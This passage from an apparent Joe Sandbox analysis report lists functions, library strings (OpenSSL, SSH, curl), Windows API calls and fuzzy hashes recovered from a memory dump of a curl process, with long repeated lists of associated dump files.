Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c11056a0468e4b47229ae84e9aa4c6291892aba36ca6f30dabee0ff6fe07f2f9
Instruction ID: fb4b883f13b1c06e435261c7fda8ad12d7b8e679bc117f34a28926dade2af3ec
Opcode Fuzzy Hash: c11056a0468e4b47229ae84e9aa4c6291892aba36ca6f30dabee0ff6fe07f2f9
Instruction Fuzzy Hash: 39115171D01108ABDB14CBF8D9446AEB7B4EB0C311F5189AAD50BD7291EA349A06CB50

Function 00A8AA6A Relevance: 5.9, Strings: 4, Instructions: 881COMMON

Download Yara Rule

Strings

1#QNAN, xrefs: 00A8AB7A
1#INF, xrefs: 00A8AB59
1#IND, xrefs: 00A8AB4A
1#SNAN, xrefs: 00A8AB31

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 0-2761157908
Opcode ID: 98c6e1d303cb694c8337bbc23bba39466f9b9a7dda3335d2e15a8343118242db
Instruction ID: 1b57cf68e76a4f180b426dd321c353ca07091bf1ad18395751835b6bf6cdf958
Opcode Fuzzy Hash: 98c6e1d303cb694c8337bbc23bba39466f9b9a7dda3335d2e15a8343118242db
Instruction Fuzzy Hash: AB628E71E1061A8BDF24DFA9C8502EEBBB1FF68300F25816AD855EB341E7749D42CB91

Function 00A6D080 Relevance: 5.4, Strings: 4, Instructions: 352COMMON

Download Yara Rule

Strings

R, xrefs: 00A6D34D
Received global request type %.*s (wr %X), xrefs: 00A6D335
Debug Packet: %s, xrefs: 00A6D2EE
Disconnect(%d): %s(%s), xrefs: 00A6D1E4

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: Debug Packet: %s$Disconnect(%d): %s(%s)$R$Received global request type %.*s (wr %X)
API String ID: 0-31130110
Opcode ID: 0eb02e6c101802fbdf1a5c3da1f0d1bafeb40ded3e6eda0966c38e8300bb627a
Instruction ID: b454726907b9d031a129ff694be746ef652978232af9d663f832fefdb8e3feb7
Opcode Fuzzy Hash: 0eb02e6c101802fbdf1a5c3da1f0d1bafeb40ded3e6eda0966c38e8300bb627a
Instruction Fuzzy Hash: 1AC1E170B046029BD314DF78C895BABFBF4FF85394F40462EE45987281EB75A944CBA2

Function 009A80B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

bind() failed; %s, xrefs: 009A81BA

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: bind() failed; %s
API String ID: 0-1141498939
Opcode ID: 11ba379a75c53c59569a25052959f00e2635ea94027336367636332de1fe7e58
Instruction ID: ee6f110fdea0aaa3b24ad7de90002522365c7e16a0a0797df9140036e6fc6c82
Opcode Fuzzy Hash: 11ba379a75c53c59569a25052959f00e2635ea94027336367636332de1fe7e58
Instruction Fuzzy Hash: 2531CF75200702DFD7208F68D884BD7BBE4EF85315F040529E8548B391DB75A899CBA0

Function 00998810 Relevance: 5.3, Strings: 4, Instructions: 327COMMON

Download Yara Rule

Strings

We are completely uploaded and fine, xrefs: 00998C20
[%s %s %s], xrefs: 00998B7E
Failed to alloc scratch buffer!, xrefs: 009989CF
Data, xrefs: 00998B79

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: Data$Failed to alloc scratch buffer!$We are completely uploaded and fine$[%s %s %s]
API String ID: 0-1827779809
Opcode ID: 78b6f13be94615978acaacd5088256a09811c1db860b879a4a417b1b4b388d11
Instruction ID: f2e766b854ec3fbb1853b4aa524d3aab3c045fbaddca06e970b15ac86abd505b
Opcode Fuzzy Hash: 78b6f13be94615978acaacd5088256a09811c1db860b879a4a417b1b4b388d11
Instruction Fuzzy Hash: 90D1D8716057419FDB64DF3CC481BAAB7E8BF86314F04466EE85D9B282DB30A845CB92

Function 00A3A170 Relevance: 5.2, Strings: 4, Instructions: 239COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\rsa\rsa_oaep.c, xrefs: 00A3A27C
..\..\openssl\openssl\crypto\rsa\rsa_oaep.c, xrefs: 00A3A263
..\..\openssl\openssl\crypto\rsa\rsa_oaep.c, xrefs: 00A3A1D2
..\..\openssl\openssl\crypto\rsa\rsa_oaep.c, xrefs: 00A3A1A1

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\rsa\rsa_oaep.c$..\..\openssl\openssl\crypto\rsa\rsa_oaep.c$..\..\openssl\openssl\crypto\rsa\rsa_oaep.c$..\..\openssl\openssl\crypto\rsa\rsa_oaep.c
API String ID: 0-3189898786
Opcode ID: 3f52baca90e40059607df01b3d87733987ab0f4a5f84a213faf455b174b817b0
Instruction ID: 54a2aecccc24212175927977d7af85276cd98b1c855e78cfd73c333ae2f70a0b
Opcode Fuzzy Hash: 3f52baca90e40059607df01b3d87733987ab0f4a5f84a213faf455b174b817b0
Instruction Fuzzy Hash: 10710675A043554BD714DF38CC42BAB7791AFE8304F04866DF88A9B292FB65D949C382

Function 00A65240 Relevance: 5.2, Strings: 4, Instructions: 201COMMON

Download Yara Rule

Strings

<null>, xrefs: 00A65286, 00A6528E
subsystem, xrefs: 00A65295
c, xrefs: 00A654A8
starting request(%s) on channel %lu/%lu, message=%s, xrefs: 00A65296

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: <null>$c$starting request(%s) on channel %lu/%lu, message=%s$subsystem
API String ID: 0-3200986384
Opcode ID: 135d89fc1b4bebce4b10b3008ebde7bf2946f62ec57469d800a3d6db5a05d143
Instruction ID: e987cbdb14a8dcf873bb72adb6a0526149bbd92b04d3a393894336d26443eb60
Opcode Fuzzy Hash: 135d89fc1b4bebce4b10b3008ebde7bf2946f62ec57469d800a3d6db5a05d143
Instruction Fuzzy Hash: 4171C132605B419FC7258F789C807D6BBE0EB95310F44466EEC999B341C775E818CBA1

Function 00A0A7B0 Relevance: 5.2, Strings: 4, Instructions: 175COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\ssl\s3_cbc.c, xrefs: 00A0A929
..\..\openssl\openssl\ssl\s3_cbc.c, xrefs: 00A0A915
orig_len >= md_size, xrefs: 00A0A91F
md_size <= EVP_MAX_MD_SIZE, xrefs: 00A0A90B

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\ssl\s3_cbc.c$..\..\openssl\openssl\ssl\s3_cbc.c$md_size <= EVP_MAX_MD_SIZE$orig_len >= md_size
API String ID: 0-3854837859
Opcode ID: 8e74e44b63135dc350194c1c4eea761af1a0ccead4110cdfb51d615c018d6946
Instruction ID: 8550617eaf406ffdfd2fc63ff335fac7763bbbd8030b1bfb4e6d628c03ee852d
Opcode Fuzzy Hash: 8e74e44b63135dc350194c1c4eea761af1a0ccead4110cdfb51d615c018d6946
Instruction Fuzzy Hash: F5515F356083954FC315CF69845056AFFE1AF96200F1CC69EE4D98B383C635D94ACBA2

Function 00A7C584 Relevance: 4.8, APIs: 3, Instructions: 273timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00A78F5F: EnterCriticalSection.KERNEL32(?,?,00A75BE8,0000000D), ref: 00A78F8A

GetTimeZoneInformation.KERNEL32(00B17F78,00000000,00000000,00000000,00000000,00000000,00AB7F28,00000030,00A7C335,00AB7F08,00000008,00A7124C,?,00000000,?,000003E8), ref: 00A7C6B3
WideCharToMultiByte.KERNEL32(?,00000000,00B17F7C,000000FF,?,0000003F,00000000,?), ref: 00A7C72C
WideCharToMultiByte.KERNEL32(?,00000000,00B17FD0,000000FF,?,0000003F,00000000,?), ref: 00A7C765

Part of subcall function 00A6E832: RtlFreeHeap.NTDLL(00000000,00000000,?,00A75D32,00000000,?,?,?,00000000,?,00A79029,00000018,00AB7E48,00000008,00A78F76,?), ref: 00A6E846
Part of subcall function 00A6E832: GetLastError.KERNEL32(00000000,?,00A75D32,00000000,?,?,?,00000000,?,00A79029,00000018,00AB7E48,00000008,00A78F76,?,?), ref: 00A6E858

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ByteCharMultiWide$CriticalEnterErrorFreeHeapInformationLastSectionTimeZone
String ID:
API String ID: 1184061189-0
Opcode ID: 94f6b6e935a697f016686776ff2da749e1c6fdcf9adb88fda943370de721479e
Instruction ID: f7b06cdd1c042eaed1c40f2ab1354d3bfd0cfd93935ef7e5dab7d92524e844e3
Opcode Fuzzy Hash: 94f6b6e935a697f016686776ff2da749e1c6fdcf9adb88fda943370de721479e
Instruction Fuzzy Hash: 9BA1AF719442099EDF14DFA8DD81AAEBBF8BF09720F54D01EE408A72A1DB348D42CF65

Function 00A8696D Relevance: 4.7, APIs: 3, Instructions: 174COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,?,000000F0), ref: 00A869C6
GetLocaleInfoW.KERNEL32(00000000,?,?,000000F0), ref: 00A86A13
GetLocaleInfoW.KERNEL32(00000000,?,?,000000F0), ref: 00A86AC3

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: ad197d34da2dd1f306c628c8a525ca9d832d23c98c25c7c117e091c682727d49
Instruction ID: 244bd2975f7a979f8c389464f8cd111dad29eeebe4ed2dcaf316bf05a218f069
Opcode Fuzzy Hash: ad197d34da2dd1f306c628c8a525ca9d832d23c98c25c7c117e091c682727d49
Instruction Fuzzy Hash: 5051D2725802179BFB29AF24CD86BB6B7B8EF00354F14807AE905DA191FB75ED50CB10

Function 00A66E50 Relevance: 4.1, Strings: 3, Instructions: 352COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 00A672C5
[%s]:%d, xrefs: 00A66F11
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 00A672BB

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$[%s]:%d$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 0-3812802938
Opcode ID: e395cf8d2652a7bfd8292cc317546a57415ead3781a75cdf48ff1192c281fcc4
Instruction ID: c78e4235cdb39eb6d94b595df3e7429a5aaa93a52b7826ce4df0f9c316dc37ac
Opcode Fuzzy Hash: e395cf8d2652a7bfd8292cc317546a57415ead3781a75cdf48ff1192c281fcc4
